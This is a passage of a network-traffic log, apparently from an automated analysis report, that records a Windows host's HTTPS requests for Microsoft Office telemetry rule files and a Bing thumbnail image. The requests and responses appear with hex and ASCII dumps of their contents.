2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 3c df 9f fd 6c d8 ff 00 74 7f 3a c3 b8 78 1a 48 6e 26 9f 76 e7 dc 89 0a 6d 5d a3 a7 6a 54 26 a7 07 0e 5f 7b bf 5f 40 92 f7 af 7d 09 3c 45 79 1d c7 ee ee 3e d5 14 db 3c dd f6 ff 00 37 b7 cf 57 bc 3b 72 b7 1a 6d f4 96 ff 00 bd 55 87 ca d9 b1 bf 7c df af 4a c5 92 f2 f3 cf 9a de 3f 33 c9 9e 6d b0 bb fd dd c7 e6 fb d5 7b 4f 78 34 48 12 66 fd ec 71 6e 57 d9 ef fa 7b d6 98 8a 29 61 95 28 ab cb a2 df b5 c5 17 79 df a1 d5 c3 a1 2b 78 7e e2 e1 b5 2f f4 89 51 65 48 5e 0d bf bc 4c 6e 55 eb fd e6 c7 f9 c4 1e 15 f1 3d 8e 97 1b df 34 ff 00 68 b8 58 76 a6 c4 f9 b7 6d 70 3a fe 55 4f 5c f1 0c bf f0 8a a5 c4 70 6a ab 33 4c ab 6f 71 b3 6a ba ed f9 b3 fd f6 c7 6f c7 ad 71 7a 6c ab 06 c9 17 cf f2 d7 ee 6f 4d ad f7 ab 83 03 92 d5 c7 61 ea fd 71 bb 37 a2 d3 a5 b4 ba 5b 6d e6 74 Data Ascii: <lt:xHn&vm]jT&_{_@}<Ey><7W;rmU\|J?3m{Ox4HfqnW{)a(y+x~/QeH^LnU=4hXvmp:UO\pj3LoqjoqzloMaq7[mt
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: ed 8e cd 16 d7 50 0e 03 71 d7 fd 95 fb d5 4f 54 d1 e5 d6 74 df 27 fe 5f ac ed fc bb 1d 8e cb e7 7c d9 c3 67 bf ff 00 58 55 cd 06 e2 29 64 86 ce de 78 da d5 bc b6 b8 7d f2 6e ff 00 69 77 e3 ee fd 45 6d d8 cf fd 9d ac b3 32 6e 5b 74 58 b6 7c cd ff 00 d9 32 86 e9 dc 76 35 f3 d5 31 32 c1 5b d8 c6 d3 8e b7 d6 ef 5e a9 fd cd 76 67 6d 0a 5c ea ed 1e 67 0e ae da 76 8f 71 63 0c 9f 67 b8 96 68 f7 fc ed e6 a3 0e 72 2b ab f0 6e b9 05 e5 8a 69 b2 4f 3c b3 2d a4 8a f3 6f 66 d9 bd bf 8f fb b8 db ef 5d a7 8d f4 3d 33 c5 d1 b6 d8 e0 fb 47 cb b2 e6 54 db 3f 2b d3 76 3e 6f f8 15 78 fd e6 9d ab f8 57 52 9a 16 8e 48 a6 fd e6 cb 8d 9b 5a 65 fe 47 e9 5e ce 13 19 80 cf f0 f2 a6 e3 ec eb df 9a cd f5 b5 ae 9d b5 5e 46 75 29 ce 9c 93 b5 e3 dc ed ee 2e ed 75 4b a4 be 9a 08 ef 6d ed Data Ascii: PqOTt'_\|gXU)dx}niwEm2n[tX\|2v512[^vgm\gvqcghr+niO<-of]=3GT?+v>oxWRHZeG^^Fu).uKm

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:49 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:49 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b51b559c-801e-008c-7fcc-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174549Z-1746fd949bd4w8sthC1EWR7004000000048g00000000hzcs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:49 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:49 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:49 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 7057cc02-501e-008f-16cc-459054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174549Z-1746fd949bdqpttnhC1EWRe1wg00000004ag000000007dbt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:49 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:49 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:50 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:50 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 859db5fc-901e-005b-23cb-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174550Z-1746fd949bdb8xvchC1EWRmbd400000004kg00000000106q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:50 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:49 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:50 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:50 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 68175a90-d01e-0065-3ed1-45b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174550Z-1746fd949bddgsvjhC1EWRum2c00000004u000000000fbd8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:50 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:49 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:50 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:50 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: bcf9f347-101e-007a-60d2-45047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174550Z-1746fd949bd6zq92hC1EWRry4800000004eg00000000mtr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:50 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49824	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:50 UTC	375	OUT	GET /th?id=OADD2.10239378034176_1VAY6I95TXDSQZZRC&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 17:45:50 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 720699 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: DE04B5BC216F4FC8869BA525CF3CBEDB Ref B: EWR311000104009 Ref C: 2024-12-06T17:45:50Z Date: Fri, 06 Dec 2024 17:45:50 GMT Connection: close
2024-12-06 17:45:50 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 19 b6 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 30 32 20 30 38 3a 31 31 3a 33 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.0 (Windows)2023:11:02 08:11:328
2024-12-06 17:45:51 UTC	16384	IN	Data Raw: 3d 9e da a3 12 8c 7f 35 15 3c 91 3a d3 23 81 da 80 1b 52 a3 53 e4 83 6d 33 65 00 4f 1b 54 d1 b5 55 8d 76 fd fa 92 39 51 6a 4d 0b 51 cb 56 23 92 a8 47 2f cf 52 f9 a9 f7 ea 39 4a 2f c7 2e da 23 9e a8 47 2e ea 3c d7 a3 94 0b fe 6d 3e 39 6a ac 2d bb ef d5 a8 f6 6c a8 28 9d 1b 65 4b 1b 55 2f 36 9b e7 ed a0 0d 18 e5 45 fb f5 a1 63 3a 56 0c 72 d4 f1 cf b6 8e 40 e7 3a 38 ee 76 fd cf bb 44 9b ee 7e fd 64 c1 73 fd ff 00 9e ae 5a cb ba a7 90 d3 9c af 7d 62 ea ff 00 27 f1 d6 5c eb b7 e4 ae a3 f7 32 a7 cf 51 c9 a4 43 72 db d3 ee d0 66 72 32 36 ea 8e 35 ae ca 4f 0e 5b 32 7f b5 55 64 d0 76 ff 00 c0 ea 83 90 e6 63 57 ab 96 a9 f2 7c f5 76 ea cf ec cd b3 65 3e 35 85 7e fd 00 55 ab 51 b3 d4 91 ac 3f c1 4f 8f 62 d4 9a 10 49 16 ea ab 22 ba d6 a4 7b 2a 1b af 26 80 32 64 f9 7e Data Ascii: =5<:#RSm3eOTUv9QjMQV#G/R9J/.#G.<m>9j-l(eKU/6Ec:Vr@:8vD~dsZ}b'\2QCrfr265O[2UdvcW\|ve>5~UQ?ObI"{*&2d~
2024-12-06 17:45:51 UTC	16384	IN	Data Raw: de ef f2 d1 b6 15 fe 34 ff 00 be e8 f3 d1 53 67 9c 9f f7 da 51 22 e3 38 15 67 b6 da fb 29 be 5d 5a 8e 2d df 73 e7 a2 48 1e 82 0a 72 2d 3a 3b 67 64 de 88 fb 7f bf 56 3c 87 ae a3 43 89 d6 1d 8a 9f 2a 27 f1 a5 45 5a bc a6 b4 a9 73 19 1a 6e 91 60 ba 6f da 6e f7 bc bf f3 c5 df 65 4f 69 2c 2d 32 a7 d8 ed d2 24 f9 f6 6c ad 0d 4a 28 67 7d ee ee f2 ff 00 b1 59 fe 47 96 ff 00 3e c4 d9 5c 5c ce 5f 11 d7 ca a3 f0 9a 52 2d 85 cb b7 da 21 f3 b6 27 c9 bf e7 fb f5 5f fe 11 7b 0f f5 ce f7 1f 7f 7e cf e0 a9 be d3 a6 db 43 be f7 52 b4 b7 d8 9f f2 da 64 4a cd be f8 8d e0 fd 3d 1d 3f b6 d2 e3 e4 fb 96 f0 bc b5 8f ef bf e5 d1 ac bd 8f da 37 23 8a 1b 98 5a da e1 3f 75 b3 62 7c 95 97 26 87 a2 79 db 37 dc 22 ff 00 bf 59 fa 6f c4 4f 09 6a 16 d2 a2 6a a9 6f 2c df 71 2e 11 e1 ff 00 Data Ascii: 4SgQ"8g)]Z-sHr-:;gdV<C*'EZsn`oneOi,-2$lJ(g}YG>\\_R-!'_{~CRdJ=?7#Z?ub\|&y7"YoOjjo,q.
2024-12-06 17:45:51 UTC	16384	IN	Data Raw: 5d 1b e4 bb 87 c9 6f ef a3 ef 4a 50 c4 42 43 1f 25 b7 f7 d2 8f b3 7f 9c d4 b6 ba 85 85 cc 2b b1 f6 4a ff 00 7e 17 74 de 94 eb 89 5d 7e 44 f9 2b 5e 70 e6 20 8e da 8f 23 75 32 46 9a 5f f6 ff 00 e0 74 47 1b b7 fb 55 66 7c c1 f6 6a 3e cd 53 46 b3 7f b7 56 a3 6f e0 74 a9 34 e7 29 47 03 ad 4f 07 9c bf 72 ad 48 d6 cb 0f 9d 70 e9 0c 5f df 7a c1 d6 3c 63 a5 59 bf 93 69 fe 91 2e fd 9b df e4 4f fe 2e b9 ab e2 f0 f4 be 29 15 03 7a 38 d1 be fa 6d ff 00 72 aa ea 9a 86 95 a5 42 d3 4b 78 93 6c fe 08 5d 1d eb 81 d5 75 cd 63 53 dc 97 17 9e 4a ef f9 21 47 d9 ff 00 8e 56 5e ef bc f6 8f f3 7f b9 fc 15 e3 e2 33 69 ff 00 cb a8 9a 6a 77 53 f8 cd 36 7e eb 4a ff 00 63 e7 7d ff 00 3a 7f b9 55 e0 f1 7d fc ae db 2c 2d 11 53 f8 de b8 89 16 66 ff 00 5b f7 b7 ef fb f4 f8 e5 f2 93 63 fc Data Ascii: ]oJPBC%+J~t]~D+^p #u2F_tGUf\|j>SFVot4)GOrHp_z<cYi.O.)z8mrBKxl]ucSJ!GV^3ijwS6~Jc}:U},-Sf[c
2024-12-06 17:45:51 UTC	16384	IN	Data Raw: 17 4d bf c0 ef f3 bf c9 53 cf 30 2a cf a5 59 de 43 b1 36 44 af b3 7c 3b ff 00 73 f2 3d 53 d4 ad 93 4a b9 67 b7 b3 77 96 e7 f7 50 cd f7 fe 7a d6 b4 b6 85 d1 91 ec ed d3 fd 8d 9f df 7f fd 0e 9f e5 3a c3 f6 6f bf 2f df f9 f7 ec ae 88 62 02 67 39 a6 dc d9 d8 dc b4 da 9d e5 c5 a5 fe f4 b7 77 4d ef 0b ba 7c ee 89 bf e4 ae b6 4d 43 ec cf 71 0e cd 8c 89 e6 a2 23 fd f4 ac b9 34 ad d7 3f 69 b5 77 9b c9 4f 29 2d ee 3e e2 3f f7 f7 fd fd f4 db a8 a1 8a fe d6 c2 58 6f a6 64 77 96 da 6f 9f 62 6c 4f ef d5 cf d9 55 33 89 72 38 ac 35 5d 4a e1 22 85 ed 2f 3e cc 97 68 8f b1 d3 fe f8 fe 0a e7 a4 b6 b9 8a 65 7b 77 49 af df 7f cf f3 a6 cd 9f df 7a de ba b3 b0 d3 2f db 5b 89 2e 3c d7 df bd 21 4f 39 e6 ff 00 63 7d 6d 40 b6 17 3a 6e cf 26 dd ed 66 f9 f6 3f dc ac be b1 ec bf c2 12 Data Ascii: MS0*YC6D\|;s=SJgwPz:o/bg9wM\|MCq#4?iwO)->?XodwoblOU3r85]J"/>he{wIz/[.<!O9c}m@:n&f?
2024-12-06 17:45:51 UTC	16384	IN	Data Raw: df 61 72 e8 9f 3f dc de e9 54 34 7b 69 96 e6 ea 64 4d df e9 30 a2 6c f9 3e 7d 9f 3f fc 02 b6 75 8b c9 ad ad be cd f6 04 86 e1 11 36 6c f9 df ce 7f e0 df 5e 65 69 ca 15 7d d3 d9 a3 0f dd 7b c5 0d 73 fb 2a fb 41 69 9e 6b 48 76 6f f2 51 26 fb 89 ff 00 a0 57 8a 47 a6 23 6a 5f 69 96 6b 87 95 f7 ba 7f 73 e7 fb 88 95 eb de 3c 8e 15 d3 6d d1 f6 7d 8e 68 52 24 f2 6b 86 d4 a3 b0 82 fe d6 db ce fd d7 c8 f3 6c fe e6 fa ee cb e7 09 52 38 71 b4 bd fe 53 47 c2 36 2f a1 e8 37 f7 32 ef 79 61 85 2d d1 fe e6 c7 7a ea 3c 33 6c 9a 7e 95 3e 9a f6 17 08 d6 db 13 ed 6e fb f6 27 f7 3f f6 7a 34 ab 39 a5 d2 a5 79 51 1e df ed 8f 14 2f f3 a4 3f 27 fb 7f c7 fd c4 ab 1a 53 3a e9 57 e9 be e1 b5 49 91 ee dd 36 6f 4f bf fc 7f f0 0a e7 95 69 7b c7 4c 21 08 c2 25 3b 75 f3 66 67 95 d1 19 3e Data Ascii: ar?T4{idM0l>}?u6l^ei}{s*AikHvoQ&WG#j_iks<m}hR$klR8qSG6/72ya-z<3l~>n'?z49yQ/?'S:WI6oOi{L!%;ufg>
2024-12-06 17:45:51 UTC	16384	IN	Data Raw: e3 e3 74 3b 25 4f e0 fb 95 5f 4a be b9 54 b8 48 9e df f7 3f 7d 3f 82 ba 68 16 da f2 e6 df 62 5c 3a dc c2 9b ff 00 d8 de 95 12 90 61 fe 03 92 d7 2c 66 d3 35 28 a6 8a f3 ed d6 7a 95 b7 da 21 99 3e 4d ee ff 00 7d 29 9e 1f b6 78 1d 9f c9 de c8 8e e8 ef f7 12 b6 b5 8f 17 cd 2c 32 e9 52 e9 56 93 4b 61 b2 de 1b 84 de 8e e8 9f 73 e4 fb 95 9b f6 c8 67 b9 b7 d8 9b 15 26 d8 e9 fc 1b 1d fe e5 6b 09 4f 93 de 89 c5 f0 cc bf 1f 93 73 61 6f 7e 89 fe a6 64 47 f2 53 ef d3 f5 85 b6 96 15 48 93 64 5e 73 c4 e9 fe e5 32 e9 5e c7 cd 48 93 f7 48 ee 9f 26 fd e9 b1 e9 f1 d9 f9 f6 32 f9 bf 3a a5 cb be cf e3 de f5 26 f2 8f b8 5e f1 e5 9d ce b5 61 6b ac 45 66 ef 6e 96 c8 8f 77 fd f7 4f 93 fc ff 00 c0 28 f0 8f 87 b5 5d 4f 4d 96 e7 7a 5a 7d a7 e7 85 f6 6c 4f 92 b5 fe 1e ea 16 16 c8 d6 Data Ascii: t;%O_JTH?}?hb\:a,f5(z!>M})x,2RVKasg&kOsao~dGSHd^s2^HH&2:&^akEfnwO(]OMzZ}lO
2024-12-06 17:45:51 UTC	16069	IN	Data Raw: 3a 5b 3b 3b 79 53 7f dc ae 73 55 fb 1e b5 e3 3b 5b 99 7e d0 8b a9 43 e6 fd cd 8e fb d1 d2 b7 a5 2f b4 73 d5 87 d9 3d 1b 55 78 75 3b 18 92 e3 ee ba 27 f0 3f df d9 59 bb 6c ef 9e e9 1f f8 13 ec fe 72 7f b9 ff 00 a0 55 6b ab e7 82 c2 df ed 10 f9 db df ee 27 df 77 74 7f fd 92 b6 ef ac 6c ed a1 57 b7 85 e1 59 a1 44 f2 66 77 4f 25 df e7 d9 5c b1 f7 7d d3 ae 5c f2 f7 8c 4f 07 4b 67 17 8a ad 51 de e3 ec ef bd 37 bf f7 f6 55 e9 20 87 5e b9 6b 09 51 2d d9 2d 9e 5d 9b 36 23 ec 7a c4 d0 d6 fe 0f 16 69 af 69 b5 ed ed a6 d9 32 7f 1f ce 95 15 d5 f3 b7 c6 fb 7b 0f 39 fc ab 9d 91 7c 9f 3e f4 74 a2 51 e6 9c bf c2 44 65 cb 08 ff 00 88 b9 e0 e9 f7 47 aa 5b 6f 44 54 b6 fb 5b be cf bf bd f6 7f ec 95 a1 06 91 f3 ca 91 5c db db b2 22 7c ef fc 6f b2 b2 34 3b 14 fe d8 96 da 1d f6 Data Ascii: :[;;ySsU;[~C/s=Uxu;'?YlrUk'wtlWYDfwO%\}\OKgQ7U ^kQ--]6#zii2{9\|>tQDeG[oDT[\"\|o4;
2024-12-06 17:45:51 UTC	16384	IN	Data Raw: f5 d6 f8 3b c2 f7 36 36 d6 0f 77 aa dc 43 2d b2 3f 9d 0b a3 ff 00 1f fe 87 51 ec bd f0 fa c4 e5 ee 9b 3e 19 b9 d1 3c 55 af 5a db 5b d9 ea d6 37 09 36 c7 9a 64 49 be fa 7d f7 ae ab 58 f8 61 aa d8 d9 cb 7f 16 a5 63 77 6b b3 63 ef 7d 8f bd de b8 d9 34 ff 00 36 e7 67 f6 ab c3 6f b1 ee 37 f9 29 f2 6c ff 00 c7 ff 00 b9 52 cf 7c fa 7d fc be 57 89 ee 3e d1 f6 6d 88 96 fb d3 e4 7f fc 71 eb 29 c3 96 7e e8 7d 62 7c 9c b2 39 ab bd 22 fe 2b 6b 84 8a fe de ed ac dd 22 b9 85 37 bc c8 9b fe fb fc 9f ec 56 7e 95 05 9d f7 cf 2a 5b a2 bb bf c9 bd d1 36 23 ff 00 df 75 d0 cf ad 7f 68 bc 50 dd f8 93 7f da 6e 52 dd ee 1e 17 79 a1 99 3f bf b3 f8 2b 90 81 66 